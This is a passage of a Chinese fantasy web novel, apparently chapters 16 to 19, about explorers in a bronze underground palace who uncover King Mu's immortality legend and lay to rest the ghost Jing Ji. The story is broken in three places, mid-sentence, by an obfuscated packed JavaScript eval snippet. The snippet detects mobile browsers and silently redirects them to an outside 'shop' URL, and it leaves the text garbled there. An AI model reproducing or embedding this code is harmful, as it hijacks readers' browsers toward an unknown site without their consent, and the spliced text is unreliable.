进入正殿后,就能看到明显的曾被大量闯入和破坏的痕迹。特别是象征天地人神的青铜祭物,基本都残缺不全。神鸟折翅,神树枯朽,一个王朝永久的衰落了,正殿中央的太阳型黄金王座前,有一尊倒塌的青铜神像,庄重威严的外形跟斑驳残缺的像面结合在一起,仿佛在默默诉说着这个古老文明的辉煌和遗憾。 “就算被神罚,鱼国人也依旧信仰供奉着神族吗?”九瑶突然问。 靳川也觉得奇怪:“是啊,凡人供奉神明,是为祈求庇佑,可这神族都要灭他全族了啊!” 江宴想了一会儿,说道:“同为神族,也有立场之分,无论神还是人,力量至上,就会出现派系血统之争。也许鱼国人供奉的,只是他们自己的祖先而已。” “喂,你们过来一下!”在正殿旁边一个门里的沈半人突然出声叫他们。 靳川等人闻言跑了进去,这是一间类似现代会客室的中形配殿,但里面的陈设基本没有了,只剩地面上,整整齐齐的排列着上千块的青铜碎片,也算是另一种意义的壮观。这些青铜碎片来自于大量被蓄意破坏的不同青铜器,却又有明显地被修复和拼接过的痕迹。 “这些……不会是你拼的吧?”靳川震惊地看向江宴,在得到肯定回复后,震惊变成了震撼:“你拼这个做什么啊!” “江宴,看来你可不止进来过一次哦。”沈半人继续扒拉着地上的青铜碎片,这些碎片乍一看都十分相似,就算是专业的青铜文物修复师也不一定能完全复原。这青铜地宫里面究竟有什么秘密值得江宴冒这么大风险,花这么大的精力来做这些事。 江宴也不狡辩:“最后一次进来是四年前。” 靳川和九瑶也蹲下来观察这些青铜碎片,发现这些碎片上有很多奇怪的图案,他们看上去好像都是一样的重复的图案,但细看又发现每个都跟每个不一样,甚至多看几眼就会觉得眼花缭乱。 “这些都是什么?”他问江宴。 “是鱼国的文字。” “什么?文字?”靳川不可置信,“这怎么看都不可能是文字啊,它们甚至连两个一摸一样形状的都没有!” 沈半人也发现了,而且这些“文字”和石门上的有一个共同之处,那就是根本让人记不住,可能是它实在是太没有规律可言了。如果说是一个国家用来记载机密事项的暗号密码,那未免体量也太大了些。 “那这上面写了什么?”靳川好奇。 江宴闻言表情有片刻迟疑,似乎在权衡能不能说,沈半人看出来了,不想他为难,于是若无其事道:“不能说也没事,左右不过是些无从考证的离奇传说罢了。” 江宴也蹲下来,随手捡了块青铜碎片拿在手里:“其实也没什么不能说的,这些碎片上不过是记载了些鱼国人的历史,一些青铜神器的使用方法,中间这一大片,”他用手圈了一个范围,“记载的都是穆王拜会西王母事件。” “那不是从古至今众所周知的事情吗?就算多了些细节,也不至于让人动这么大干戈把这些青铜器砸的稀巴烂吧!”沈半人感觉不合理。 “确实大部分内容跟外面传的差不多,”江宴道,“本来就是空穴来风的事情。鱼国人不过是记载的更详尽些,包括给他的是怎么样的钥匙,如何开的昆仑之门,以及进入昆仑之门后一路的所见所闻。但要说有什么跟世人所了解的不同的地方,倒也有一些。” “比如,这里面说西王母其实并不是某一位女神,”江宴看向他们,“而是一个神族的部落,这个部落里所有的成员都叫西王母。鱼国人在批注里说,西王母最初是昆仑山的原住居民,因位置优势,受神族教化已久,能够探听神意,预言吉凶,因此,神族便将看守昆仑之门的职责交给了他们。” “而且,西王母族似乎掌握了神族的某个秘密,而神族迫于某些原因并不能彻底的消除他们,所以神人划界时,便给他们赋了神籍。” “难怪……”沈半人呢喃。 “难怪什么?”靳川问他。 “我以前听周穆王和西王母的故事,总觉得怪异,你想啊,周穆王要是真的到了昆仑神界,见到了神界的领袖之一西王母,而且还和那么美的女神互相爱慕,那他还回来干什么?虽然他在人界已是天潢贵胄,但毕竟肉体凡胎,生老病死的苦痛又怎么比得上做神仙的逍遥快活呢?”沈半人说出自己心底的疑惑。 “现在听江宴这么说,我豁然开朗啊,原来那周穆王压根就没进去过真正的神界,没见到真正的神族。那西王母族,说白了,就是个给神族看门的,周穆王私入昆仑的事,他们压根不敢上报神族,那周穆王还偷偷摸摸提心吊胆的留在那里干什么呢?” “所以他又回来了,带回了一堆玉圭玉壁等昆仑特产,还有那本神谱,想想,什么样职能职位的人,会有整个神族成员的名单,不就是负责点卯的嘛!”沈半人笃定道。 靳川一直在认真的听着,居然觉得他讲的非常有道理,连连点头。 “你说的八九不离十了,”江宴道,“不过他带回来的,不只有玉圭玉壁,还有长生术。” 江宴从地上一大堆的碎片中,拾起其中一片,递给他俩。沈半人和靳川接过,左看看,右摸摸,认真研究了半天,完全看不懂,于是两脸懵逼的回看江宴。 江宴笑起来:“这块青铜碎片上记载的就是有关穆王和长生术的事。鱼国人记载说,穆王于西王母处得长生术,并与西王母族定下‘比及三年,将复而野’的约定。” “他真的会回去吗?”沈半人一脸不相信,“一般话本子里这么设定的都是渣男,嘴里说着我一定会回去,其实转脸就把人忘了。他已经获得了长生术,又是人间帝王,醉卧美人膝,醒掌天下权,换作是我,我也不会选择回去入赘西王母啊!” “不是,你怎么还入戏了啊!”靳川越听越不对劲。 沈半人正色:“我这是沉浸式代入周穆王,让你们了解一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590124|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他真实的心理活动。” 靳川没忍住“扑哧”笑了出来,就连九瑶也跟着笑了起来。 江宴道:“穆王想不想回去,鱼国人到没记载,但我猜,他应该不得不回去。” “?史记?记载穆王五十即位,一共在位五十五年,也就是说他活到了一百零五岁,这在当时确实是长寿了,但跟长生相比,仍是九牛一毛。如果穆王真的拥有了长生术,为什么还会有‘死去’的记录,西周本就是受神权思想统治的朝代,他完全可以以‘神授君权’来继续统治王朝。” “是不是怕昆仑方问责啊?到时候也给他降个神罚呢?”靳川合理猜测。 “你说的确实有可能,但如果只是害怕昆仑方知道,就不会命人撰书传曲,歌颂自己跟西王母见面这件事了。”江宴点出问题。 “……也有可能,虽然他拥有了长生术,但这长生术有bug?而且还是那种不能宣之于人的bug……”沈半人想到了另一种可能。 “刚开始,穆王可能不知道或者不是很在意长生术的缺陷,是因为他以为自己还能回到西王母族。所以他毫不避讳地将西游昆仑的详情一五一十的告知了鱼国人。加之,当时西周遭遇了徐国叛乱,为了巩固自己在子民心中的地位,所以他大肆宣扬自己与神族领袖西王母会见一事。” “但后来鱼国人为了躲避神罚,一夜之间全部消失,他失去了重返昆仑的通道,而长生术的弊端也与日俱增,他只好在形式上‘死去’,其实是金蝉脱壳。” “没错,”江宴肯定了他的想法,“在他以周穆王的身份‘寿终正寝’后,随即便隐姓埋名,去了巴蜀之地。” “鱼国人的老家?”靳川反应过来,“他要找鱼国人,是为了从鱼国人那里得到重返昆仑神界的其他途径,但是他不知道鱼国人其实就藏在封地下面。” “除了鱼国人,古蜀国一定还有其他颛顼后人,所以他跑过去找线索其实是个非常明智的决定。”江宴道,“只是他在寻找鱼国人,鱼国人也在密切监控着他。鱼国人的记载中,穆王最后一次公开出现,是以‘鳖灵’的身份,劈山治水,建立开明王朝。” “之后,他可能又以子孙后代或是谋士的身份活跃在开明王朝的政治舞台上,直到公元前316年,开明王朝为秦所灭,穆王自此彻底不知所踪。” “他最后到底有没有回昆仑呢?还有那长生术的bug会是什么?”沈半人说着突然想起了什么,问江宴:“鱼国人有记载吗?” “鱼国人肯定是记载了,只是被人毁掉了。”江宴看着满地的青铜碎片,语气颇为遗憾,“你们手里的这片青铜碎片,就是专门记载长生术的,但我翻遍整个地宫,也只找到了这一块。” “看来这个破坏地宫的人,他的目的就是想要销毁有关长生术的记录,但他到底为什么要这么做呢?是他想要独霸这长生术,还是说这长生术确实有不可告人的秘密呢?”沈半人心中的疑惑越来越多。 …… 九瑶正认真倾听他们三个人的讨论,突然那种怪异的感觉又出现了,空气中似乎浮动着某种异香,有一双眼睛就隐在这堆青铜废墟中,暗暗窥视她。 她不动声色地继续观察地上的青铜碎片,余光却暗暗把周围都巡视了一圈,突然一抹艳丽琳琅的身影猝不及防地撞进了视线中,九瑶抬头去看,只见配殿角落一道虚掩的石门旁,此刻有个华服美冠珠光宝气的女子正趴在门上,歪着个头,目光冷冷的看着她。 17. 第 16 章 那美人神情诡异,身体一动不动,也不知道在那儿趴了多久,发现九瑶在看她,她那两只黑色的眼珠突然向外凸起,像两条黑色的小蛇,一直向外延伸,九瑶被这骇人的一幕惊到,大喝一声:“是谁在那里!” 那美人听到声音,纤细的的身影像一阵风似的眨眼间消失在了石门里。 九瑶起身去追,江宴、沈半人和靳川听到动静也抬头,看着九瑶追出去了,反应过来也立马跟上。 九瑶随着那身影穿过一道又一道石门,像走迷宫似的,等到跑进最后一道石门,发现是条死路了,而那美人的身影也早已无影无踪。空荡荡的石室里闪烁着地晶石忽明忽暗的光芒,但空气中那股异香却越来越浓烈。她弯身从短靴里拔出了匕首,轻掩口鼻,向石室深处走去。 突然脚下传来“咔嗒”一声,九瑶心说不好,踩中机关了,接着身体一轻便落入石室的下层,好在她反应迅速,身手敏捷,在空中几个翻滚,稳当落地。 抬头环顾四周,这下面似乎是一个巨大的杂物间,比起上层的整洁明亮,看着要昏暗破败许多,有些地方破了好些小洞,从洞里透进来惨绿的光芒,如鬼眼一般,也是这杂物间唯一的光线。 九瑶越看越觉得这里好像是一艘古老沉船的底舱,能看到巨大的青铜质地的船舵,地上还有残缺不全的青铜造的船锚和罗盘。 会不会这里原本就是一艘船呢? 九瑶脑海里突然冒出了这么一个念头。 鱼国人为什么姓鱼?如果说蚕丛擅长养蚕结丝,那么鱼国人可能是擅长捕鱼。不仅如此,他们也擅长造船,他们能从千里之外的古蜀国将那么大件的青铜神器悄无声息地搬运到西周,会不会就是借助这样一艘青铜巨轮在冥河里畅行无阻呢? 九瑶发现最里边的角落里,有一个日晷样式的圆盘,上面刻着看不懂的图案,但感觉上似乎是江宴说的鱼国的文字。 虽然不知道江宴之前来这个地宫是为了什么,但直觉告诉她,江宴应该是来找东西的,她想先上去把这里的情况告诉江宴。 可是要怎么打开上层石室的门呢? 如果这里真的是鱼国人的底舱,那就一定有通到上层船舱的机关,九瑶左右环顾,目光还是停留在了那个青铜船舵上。 她走到船舵前,仔细看了一圈,船舵是用来控制方向的,所以机关不可能在船舵上,她注意到船舵旁边有个同样青铜质地的小把手,于是尝试去扳动,可能是太久没有使用过,这小把手就跟锈住了似的,根本纹丝不动。 九瑶想起了自己的匕首,她将匕首插进那小把手的缝隙里,锋利的刀刃像削铅笔似的,将把手外层和缝隙里厚厚的铜锈刮掉了少许,这时再去扳动,果然轻松多了。随着沉闷的石头移位的声音,头顶上方有光亮透进来,九瑶脚踩船舵一个借力跃上了上层石室,方一落地,脚下石门又再次关闭。 石门关的太快,所以她并没有注意到,昏暗的底舱里,那块日晷一样的圆盘上,文字突然全都亮了起来。 九瑶这边刚落定,便感应到了危机,方才那消失不见的美人此刻就站在她面前,似乎早已等候她多时。 九瑶这时才看清,从她眼睛里钻出来的确实是两条小蛇,通身如墨,只有细细的鳞片闪着银色的光。它们的身躯在半空中蜿蜒折转,冷冷的吐着信子,发出“嘶嘶”的低鸣。 不止眼睛,她的耳朵里也钻出了同样的小蛇,再细看,头发中,衣袖下和脚踝上,也都有盘踞和蠕动的小蛇,这些小蛇仿佛各有心思,但又都谨慎的盯着九瑶。 九瑶全神戒备,那女子却迟迟不见动静,除了她身上蠕动的小蛇外,九瑶觉得这副躯壳更像是个肉质木偶,所有的关节都仿佛是机械性的。 她想走近些,看看这女子的真面目,才刚跨出一步,那些小蛇仿佛感受到了危机,突然从那女子身上窜了出来,在空中身体几乎绷成了一条条直线,动作之迅猛,犹如离弦的利箭朝着九瑶袭来。 九瑶反手挥匕,凛冽的刀锋斩断几根窜到身前的小蛇,那小蛇跌落在地,虽然被切成了两段,却仍在蠕动,而且没有头的那一半居然很快又重新长出了一个头,分裂成了两条活蹦乱跳的小蛇。 眼前一幕,令九瑶头皮发麻。很快,不止那女子身上窜出蛇来,四周也开始不断的有小蛇窜出,这些小蛇虽然体型很小,但却十分凶猛,发出的嘶嘶声像夏天的蝉鸣一样尖锐而聒噪。 九瑶挥动匕首,左右开弓,如同砍瓜裂枣,奈何小蛇数量众多,间或有一两条缠上脚脖子,用力踢开,又一条自空中降落,爬到她持刃的手腕上,细密的鳞片仿佛有股巨大的吸力,深深的嵌进皮肉里。九瑶吃痛,匕首滑落在地,动作稍一迟缓,立刻爬上来一条到手背上,九瑶发现一旦被它们吸附上,它们就会越吸越紧,从而阻断血液的流通,让肢体逐渐丧失控制能力,变的僵硬,皮肤也会因为绷得太紧而开裂。而只要出现伤口,它们就能破皮而入,扎根到肉里。 九瑶咬牙,忍住疼痛和不适,另一只手用力去扯手背和手腕上的两条小蛇,那两条蛇的头几乎完全钻进了肉里,被九瑶硬生生给拔了出来,带出了一长串的血珠和肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590125|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屑。 这时,一滩温热的血洒在地上,地面上蠕动的小蛇像是见到了什么极为恐怖的东西,吓得不住后退,身体都蜷曲了起来。九瑶回过头,看见他们三个走了过来,走在前面的江宴已经摘掉了手套,掌心原本为封印女妭划破的伤口如今又裂开了,血就是从这道口子里撒出来的。 “怎么会有这么多的蛇!”沈半人尖叫,天知道他有密集恐惧症,这么多的蛇蠕动着,还一齐向外吐着信子,嘶嘶声此起彼伏,看的他头皮发麻,几欲昏倒。 “这不是蛇,是冥河里的水蛭。”江宴冷静道。 人死后,灵魂会顺着冥河泅渡至轮回彼岸。如果灵魂因某些原因而搁浅,就会变得越来越虚弱,在冥河里逐渐退化为水蛭,水蛭僵死后又会变为冥河里的水草,去牵绊其他泅渡者。 “你打火机带了吗?”江宴问沈半人。 “在……在口袋里呢,”沈半人边说边掏出来,“它们怕火对吧!” 江宴点头,接过打火机,打着了,握紧手上的伤口,又洒了点自己的血进去,火苗窜了两下,开始呲拉呲拉往外冒烟。有了神血和火焰加持,那些蛰伏在四周伺机而动的冥虫开始逐渐退去。 就在所有人都松了一口气的时候,一直站在那儿的神秘女子突然动了,她像木偶一样机械地往前跨了两步,姿势说不出来的诡异,然后突然张开双臂,宽大的袖摆无风自荡,像一个彩色妖异的大蛾子扑了过来,竟是朝九瑶身上扑倒的。 九瑶急忙后退,可后面站着沈半人,一时闪避不及,两个人都被绊倒,而那神秘女子身体已经贴着九瑶的脸滑了下来。靠近了九瑶才发现那神秘女子不过是一具死去多时的躯壳,现在操控着她的是爬进她身体里的冥虫。 这些冥虫吃掉了她的内脏,甚至连眼珠都没放过。现在它们又从她的五官钻出,蓄势待发的想要钻进九瑶的身体。 江宴见此情景,赶忙伸手去拦,他离的有点远,手触到的时候只能扯住她的一片袖子——“呲拉”一声,丝绸织成的薄如蝉翼的袍袖,像被撕掉了翅膀的蝴蝶,裂成了两片。 好在被江宴这么一阻,九瑶空出手来,一个利落的手刀挥开了那具美丽躯壳,另一只手两指夹住窜过来的一条冥虫,然后用力甩到地上那滩江宴的血里,那只冥虫挣扎着抽搐了一会儿,很快就完全溶解在血液中。 原来这神血并不只是魃的食物,还能有这么牛逼的作用啊!沈半人如获至宝,刚想嘚瑟一下,突然一个温柔又懊恼的声音自头顶上方传来。 “那是我最喜欢的裙子!!” 19. 第 18 章 这一句,让一众和她伤春悲秋的人一下子陷入懵逼状态。 “怎么以前没听你说过?”江宴提醒。 “我忘记了嘛!”井姬理直气壮。 “那她来做什么?”江宴又问。 “来和你做一样的事。” 江宴愣住了,九瑶仍是一脸茫然,她完全没有这段记忆,甚至连一闪而过的碎片式画面都没有。 “她也是来找那些东西的,不过她没有神血,进不了炅镜,所以她学不了鱼国的文字。”井姬道,“不过她帮我捉过虫,就是用的这把匕首。”她指向九瑶靴子里的匕首。 九瑶取出匕首,还是难以置信:“你见过这把匕首?” 井姬点点头,“就是这把匕首,我印象特别深刻,这把匕首不是用金属做的,而是一把石匕。我夫君崇尚武力,什么兵器都用过,但我还未曾见过能够把石头磨成这么锋利的匕首。” 她这么一说,沈半人和靳川也凑过去,观察九瑶的匕首,发现还真的是石头做的。通身如墨,刀柄光滑温润,如同暖玉,刀身则锋利凛冽,散发着霜雪之意。 九瑶迟疑:“那……我们还聊了什么?” 井姬努力回想:“我记得,你跟我说你认识一个人,那个人可以超度我……咦,那个人不是你吗,江宴?” 江宴摇了摇头:“不是我。” 显然井姬的记忆也开始凌乱起来,“对,她是在你之前好久来这儿的,虽然我不知道具体的时间,但那个时候你应该还没出生,当然不会是你。” “可是你……”井姬看着九瑶,突然反应过来,“莫非你也可以长生?” 她这一发言,如同投石入水,惊醒梦中人。 “长生术……九瑶……”沈半人突然想到了这二者的关联,他目光转向江宴,江宴却比他要平静许多,显然早就想到此处。 “江宴,你带我们来这里,应该不仅仅是为了拿神谱吧?”沈半人虽然在问,但心中已然确定,“你怀疑九瑶的长生跟周穆王和西王母族的长生术有关?” 靳川和九瑶闻言也有点惊讶,仔细想来,方才他们讨论的长生术的事情,确实可以往九瑶的身上套。 难道长生术的弊端就是失去记忆存储能力?所以并不是周穆王消失了,而是连他自己都不记得自己了,甚至连如何拥有的长生术都不记得。秦始皇呢?他最后是否如愿得长生了? “我只是把这作为可能的原因之一,”江宴如实道,“时间太短,看不出九瑶小姐是不是同穆王一样,也是长生术的获得者。如果神谱上找不到答案,我们还是要拼出有关长生术的完整秘密。” “长生真的那么吸引人吗?”井姬突然感慨道,“像我这样,算不算长生呢?” 她的话让众人陷入沉思,如果说有生无死,是长生,那么有死无生呢,是不是也算另一种意义的长生? 但这种画地为牢,永世孤寂的长生,与困于囹圄的无期徒刑又有什么区别? “后来呢?”九瑶看气氛沉重,岔开话题,继续问井姬,“我为什么没有带那个人来超度你?” “你真的一点都不记得了?”井姬有点意外。 九瑶诚实地点点头。 “不是你没带他来,是我拒绝了你。”井姬叹道,“你问我的时候,我心中十分犹豫,虽然这里的生活苦闷,但这是我与夫君唯一还有联结的地方。这里的每个角落都有我和他的回忆。” “夫君曾说,宇宙其实很像一口巨大的井,万物倾落其中,各自生长,井外的世界纵然广阔稀奇,但井中也自有一片欣欣向荣。而人心也是,躯壳会衰老腐朽,唯有记忆,是井中珍藏的宝贝。” “所以我想守着这口井,只要我在,我们就在。” 井姬说着看向九瑶:“你那时似乎懂我,不愿违背自己的心意来劝导我,所以选择了尊重我。那次你离开后,就再也没有来过。” 九瑶低下头,眼神也开始迷惘,莫非自己久远的生命中,真的也像井姬一样,有过非常重要的人存在过吗?那他现在怎样了呢?自己和他到底经历了什么变成如今这个样子? “再之后,又过了许多年,江宴就来了。”井姬说着看向江宴,“江宴帮我捉虫,作为酬谢,我教他如何打开炅镜,去炅镜里学习鱼国的文字。” “你不懂鱼国的文字吗?”靳川诧异。 井姬摇摇头:“我学不会,而且鱼伯也不让我学。” “为什么?”沈半人想不明白,鱼伯那么爱她,却还要将自己国家的事情对她保密吗? “我也不知道,其实关于夫君,关于鱼国,很多事情我都不是很清楚,夫君也甚少让我参与国中的事情。我只知道夫君来自于天外之族,信奉的神明与我们有很大的不同,祭祀的礼仪和形式也完全有别于宗室。我甚至知道的还不如江宴多。” “江宴之前经常下来,每次过来都会先进炅镜学习一会儿鱼国的文字,然后一边拼那些青铜器,一边陪我聊天。是他教会了我你们的语言和文字,我们才能像现在这样沟通。” 江宴接着她的话说道:“我们从拼好的鱼国人的史书中了解到,鱼国人早在迁都之前,就已经受神罚威胁。他们原本也是黄河流域的一个部落,善渔,也善制船,传闻他们曾造了一艘可在任何水域里悬浮前进的青铜巨轮,有点类似我们的潜艇,他们靠着这艘巨轮躲过了共工氏和神农氏大战引发的洪灾。后来望帝统一蜀国,他们也是驾驶这艘青铜巨轮将大量青铜神器一并带来了镐京。” 这么说地宫下面那个真的是船舱,九瑶心想,原来江宴都知道了。可那个日晷一样的东西是什么呢?为什么她总觉得那东西有点眼熟呢? “那鱼国人为什么全都消失了?那两个人究竟是什么身份,他们做了什么事?”沈半人追问。 江宴摇了摇头,显然他也并不清楚:“关键的信息都被人刻意的抹去了,现在能确定的是鱼国人因为掌握了某种秘密,所以一直被神族围剿,神族不但要他们身死,还要让他们魂殒,为了躲避这种围剿,他们将青铜巨轮搁浅在冥河之中,在上面建了地宫。当族人死后,灵魂便会永远留在这地宫中。” “所以,是那两个人出卖了鱼国人的行踪,导致地宫中的鱼国人全都应了神罚,这就是他们突然之间集体消失的原因。”沈半人心情沉重的推测。 江宴垂眸,默认。沈半人看向井姬,她的侧脸苍白,发冠上的金叶子随着身体微微颤动,这个结论江宴应该早就告诉过她了,可能她一直都在拒绝接受吧。 “江宴最后一次来这里,是四年前,那这四年间,还有其他的人来过吗?”靳川问井姬。 井姬脸色愈加苍白,别说是四年,就是千年间能进到地宫的人来去也不过只有这些。那些盗墓者最多挖到上层的墓穴,偷些金银和青铜器。 “鱼国人已经不复存在,你又何必执着于守着这座空坟呢?”沈半人劝她。 江宴曾经也是这么劝她的,他说他可以超度她,帮她重进轮回。那时,她就会忘却前尘,拥有一段全新的人生。 可是这样,她是不是就再也想不起鱼伯了,想不起在她的生命中曾经有过这样一个人,他的一言一行都联结着她的喜怒哀愁,一举一动都牵动着她全部的身心。 “井姬,如果是你和鱼伯互换一下位置,你是希望他,留在这个永远都不可能再有你的地宫里,守着回忆度日,还是尝试重新去拥有一段新的人生?”靳川也努力组织语言劝她。 井姬没有说话,过了许久,她看向九瑶:“你还是和从前一样的答案吗?” 九瑶不明所以,她努力想要记起一些与此相关的事情,奈何脑海里始终空空如也。 井姬了然,语气中有一些遗憾:“看来,那个让你动心夺魄,至死都不能忘记的人,最后还是被你遗忘了……” “井姬,”九瑶真诚地看着她:“我不知道我那时究竟对你说了什么,但现在的我想对你说,虽然我也很想记起往事,但如果真的想不起来了,我也不会强求。因为我已经拥有了现在的人生,有了现在想做的事情,和现在在意的朋友,和他们在一起,我也同样很快乐。” “遗忘并不一定代表背叛,只是让过去的都过去,那些现在应该被珍惜的,才能得到珍惜。” 井姬的脸上露出了迷惘的神情,她承认这次见到九瑶跟上一次相比有了很大的变化,甚至是一种让她羡慕的变化。 她的脑海里也开始涌现一些久远的记忆,不止是鱼伯,还有她在闺中时的密友,她们曾相约一起穿上漂亮的裙子,读诗插花,斗琴弹棋,有时她们也会聚在一起,悄悄地讨论京都那些惊才绝艳的少年郎们。其实她一直都是个爱热闹的小女孩,直到现在,也依然渴望朋友环绕的生活。 “这是我最后一次来这里,”江宴突然道,语气是从未有过的认真,“以后我都不会再来了。” “也许下一次再有人来到这里,帮你捉虫,陪你聊天,替你超度,又会是千年之后的事情了。” 井姬握着手里的最后一颗枣,那枣子皮薄肉嫩,红润香甜,衬得她微微苍白的脸,有一种惊心动魄的悲伤。江宴的话,击中了她的要害,也击溃了她的防线,让她不知所措。 沈半人有点意外,江宴很少这么说话,别说是井姬这种娇滴滴从小被视若珍宝万般呵护下长大的高门贵女了,就连他都觉得这话未免冷血绝情了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656222|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井姬低下头,眼眶滚烫,终是向现实低了头:“好。” 江宴也松了口气,他与井姬萍水相逢,不过几面之交,但他真心实意地为井姬的处境担忧。这趟他本可以不来,或者他本可以一个人下来,替他们找到神谱,速战速决。可临出发前,他再三思索,还是决定再试一次,也许再多一些人就能帮忙劝动井姬。 他从腰间的鞘套里拔出一把特制的小刀,刀身薄如蝉翼,却锋利无比,随即撩起袖子,毫不犹豫的在胳膊上划下长长的一道血口。那血口极细,却极深,很快鲜血汩汩的向外渗出。 整个过程看的沈半人脖子发凉,胳膊一阵阵刺痛,虽说这神血看起来的确像个宝贝一样仿佛无所不能,但每次取血的方式未免有点太费人了吧。他注意到江宴的胳膊上还有很多这种伤口留下的疤痕,因为极细,颜色也极淡,所以不仔细看不太能看得出来。难怪他每次出现,就算再热,也罩着薄外套,或是戴着臂护了。 井姬漂亮的眉毛微微皱起:“江宴,你胳膊上的划痕越来越多了。那件事就真的那么令你执着吗?甘愿让你舍弃一切,哪怕最后也落个身死魂殒的下场?” 江宴没有回应,他的眼神中有着对这个问题的明显的回避,也有着对自己答案的无比的坚定。 “罢了,”井姬微微叹了口气,珍重的看了眼手中的红枣,“那便希望你可以早日遇见那个,会爱惜你,也会让你爱惜自己的人。” 江宴再次结印施咒,胳膊上流出的血,都源源不断的向掌心攀去。如同那晚一样,空气中开始弥漫起绯红的血雾,丝丝缕缕的血雾逐渐汇聚包裹住井姬,有一串串闪着金光的字符窜进血雾中,自头顶盘旋而下缠绕着她,像一阵温柔的飓风。井姬的发裙在风中颤动着,面目也逐渐变得模糊。 她抬起头,最后环顾这座陪伴了她千年的青铜废墟,她记得这里刚落成的那一日,鱼伯用绢布遮住她的眼睛,将她带来这里。 他说:“这里是我们的家,以后我们生生世世都在一起。” 她实在不知道生生世世有多久,只知道她那时真的很喜欢和他在一起,从未想过分开的事情。 他曾说,宇宙浩瀚无垠,在神的眼中,人类不过是井底之蛙。但如果身边有你,我愿意与你偏安一隅,守着我们井中的珍宝,珍惜度日。 她记得她决定出去找他的那一天,无论怎么努力都推不开那个青铜棺椁,可她不愿放弃,一次次的尝试。她给自己打气,骗自己只要推开那座棺椁,爬上去,就一定能见到夫君。 她不知道自己试了多久,试了多少次,直到第一只冥虫爬了进来,爬过她的手背,那可怕的触感,吓的她花容失色。她眼睁睁看着那只冥虫从她好不容易推开的缝隙里爬了出去,一瞬间失落、委屈,无助,又夹杂着些许羡慕的情绪潮水般淹没了她。 她失魂落魄地坐回台阶上,“青蚨……”唤出他名字的那一刻,犹如信念崩塌,她泪如雨下,哭到不能自已。 也许她不得不去面对,那个她最不想面对的事实——鱼伯不会回来了,不管是因为任何原因,他都不会再回来了。 以前天大的事情,只要她一哭就能翻篇。可原来这世上,本就存在许多翻不了篇的事情。 “九瑶小姐,我记错人了,你不是那个女孩。”她红着眼,却仍努力微笑:“如果你有机会遇到她,也劝劝她吧,她比我还执着……” 井姬美丽的身影完全消失在这些金光字符中,仿佛也成了这万千字符当中的一个。 从此以后,这世间会多一个温柔美好有趣的人。而井姬这个名字,会成为历史书上万千脸谱化的符号之一,再不会有人知道她曾如此鲜艳明媚的存在过,也不会有人懂她为爱执守空城数千年的热烈。 字消咒散,江宴放下手,鲜血顺着胳膊手掌一路蜿蜒到指尖,最终垂落到地上,仿佛也带走了他最后一丝力气。沈半人看他情况不对,赶紧过去扶住他,又招呼靳川撕了些衣服上的布条先把那血口封住止血。 井姬的魂魄滞留的太久,某种意义来说,也算是魃了。超度她消耗了江宴许多修为,甚至不比封印旱魃的少。 江宴靠坐在花园的假山上休息,脸上是肉眼可见的苍白和疲惫,连续两场大动神血的术法,终究伤了元气,短时间内,他都不宜再使用神血修为。 “江宴,你执着的究竟是怎样一件事?长生吗?”沈半人问出了靳川和九瑶也同样关心的问题。 江宴抬头,看向他们,这几日的相处,彼此之间其实已经建立起了好感和信任,这是他第一次撤去心防,真正说起跟自己有关的事情:“我们祖巫氏是没有办法长生的,我只是,要找到一条去往昆仑神界的路。” 20. 第 19 章 几个人被江宴的话震惊的不知道该说些什么。 江宴又笑了起来,坦白道:“所以对我来说,九瑶小姐真正的身份也很重要。如果九瑶小姐真的是长生术的获得者,那么解开九瑶小姐的身份谜题,也许就能拼凑出长生术的真相。” “我一直都相信,鱼国人不止拥有一把开启神界之门的钥匙,那两个不明来历的人,真正的目的应该是钥匙,但他们却毁掉了有关长生术的纪录。说明,在长生术的秘密里一定藏有神界钥匙的信息。” “但你去神界做什么?”沈半人表情复杂的问,“难道……是想让神界归还祖巫氏的神籍?” 江宴倒是有点惊讶于他的脑洞,正待说些什么,突然地面颤动起来,身后的假山也开始向下掉尘屑,沈半人眼疾手快,发现假山要裂开了,赶紧把江宴拽离。 “怎么回事?”九瑶疑惑。 江宴环顾四周,听着空气中传来的一阵比一阵清晰的碎裂声,转念一想:“不好,鱼国人消失后,这地宫就全靠鱼伯的一丝念力来维持,如今井姬走了,这念力也开始消散了。” “我们必须马上回上层,这里随时会坍塌!”他道,众人也意识到情况的严重性,赶忙往青铜阶梯的方向跑去。 九瑶跑了几步突然想起来神谱还没拿到,她转身想往祭坛去,被江宴拉住:“你要做什么?” “神谱还没拿,我去拿神谱。”九瑶道。 江宴闻言松了口气:“神谱我已经拿了,放心。快点离开这儿吧!” 